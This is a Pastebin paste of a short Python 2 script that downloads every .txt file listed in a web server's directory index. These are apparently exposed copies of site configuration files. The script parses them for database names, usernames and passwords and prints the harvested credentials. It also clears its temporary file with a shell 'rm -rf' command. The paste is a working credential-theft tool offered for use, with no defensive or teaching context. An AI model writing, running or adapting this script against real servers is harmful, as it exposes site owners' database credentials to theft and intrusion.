Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # _Author @ lnxg33k
- import sys
- import os
- import re
- import subprocess
- import urllib
- if len(sys.argv) != 3:
- print '\nUsage:\n\t%s [URL...] [directory...]' % sys.argv[0]
- sys.exit(1)
- site = sys.argv[1]
- fout = sys.argv[2]
- req = urllib.urlopen(site)
- read = req.read()
- f = open('/tmp/data.txt', 'w')
- f.write(read)
- f.close()
- i = 0
- f = open('/tmp/data.txt', 'rU')
- print ''
- for line in f:
- if line.startswith('<IMG') == True and 'ALT="[TXT]"' in line:
- m = re.search(r'(<A HREF=")(.+[^>])(">)', line)
- i += 1
- local_name = '%s/file%d.txt' % (fout, i)
- print 'Retrieving...\t\t', site + m.group(2)
- try: urllib.urlretrieve(site + m.group(2), local_name)
- except IOError:
- print '\n[%s] doesn\'t exist, create it first' % fout
- sys.exit()
- f.close()
- cleanup = subprocess.Popen('rm -rf /tmp/data.txt > /dev/null', shell=True).wait()
- print '\n', '-' * 100, '\n'
- for root, dirs, files in os.walk(fout):
- for fname in files:
- fullpath = os.path.join(root, fname)
- f = open(fullpath, 'r')
- for line in f:
- site = re.search(r"(@)(.+[^>])(';)", line)
- if site is not None: SiteName = site.group(2)
- dbms = re.search(r"(db = ')(.+[^>])(';)", line)
- if dbms is not None: Database = dbms.group(2)
- user = re.search(r"(user = ')(.+[^>])(';)", line)
- if user is not None: UserName = user.group(2)
- secr = re.search(r"(password = ')(.+[^>])(';)", line)
- if secr is not None: Password = secr.group(2)
- f.close()
- print 'Database: %s \t\t UserName: %s \t\t Password: %s' % (Database, UserName, Password)
- print ''
Add Comment
Please, Sign In to add comment